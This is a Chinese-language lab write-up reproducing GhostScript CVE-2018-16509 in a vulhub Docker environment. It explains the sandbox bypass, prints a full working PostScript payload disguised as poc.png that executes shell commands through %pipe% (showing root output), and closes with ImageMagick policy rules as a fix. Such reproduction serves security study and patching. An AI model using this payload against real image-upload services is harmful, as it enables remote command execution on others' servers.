漏洞概述
①漏洞简介
8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞。
②GhostScript
GhostScript 是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。Ghostscript 可以查看及打印 PS、EPS、PDF 文件,GhostScript 被许多图片处理库所使用。
③漏洞影响
在文件上传过程中,有可能会用GhostScript来处理图片,可以伪装图片利用GhostScript执行命令。
漏洞复现
①环境搭建
使用docker启动ghostscript_CVE-2018-16509环境
root@kali:/home/zj/桌面/vulhub/ghostscript/CVE-2018-16509# docker-compose up -d
服务启动后,访问http://172.17.0.1:8080,可看见文件上传按钮。
②浏览poc.png,并提交查询
poc.png
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
浏览器返回 Image size is: uid=0(root) gid=0(root) groups=0(root)
修改 id > /tmp/success && cat /tmp/success 可以执行任意命令
③进入Docker容器,查看命令是否已成功执行
root@kali:/home/zj/桌面/vulhub/ghostscript/CVE-2018-16509# id > /tmp/success
root@kali:/home/zj/桌面/vulhub/ghostscript/CVE-2018-16509# cat /tmp/success
uid=0(root) gid=0(root) 组=0(root)
思考
①漏洞利用及危害
9.24之前版本的GhostScript在处理/invalidaccess异常时,没有正确的检测restoration of privilege(权限恢复)。攻击者可通过提交特制的PostScript利用该漏洞执行代码。如利用图片隐写可以通过上传图片执行命令并返回信息,理论上可以实现任意命令。
②与之前注入命令方式的不同
该漏洞利用上传文件解析,可以直接在浏览器显示返回数据
③修复方案
参考imagemaick的ghost script RCE漏洞修复方案
编辑ImageMagick的policy文件,在标签中增加如下内容
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="PS2" />
<policy domain="coder" rights="none" pattern="PS3" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />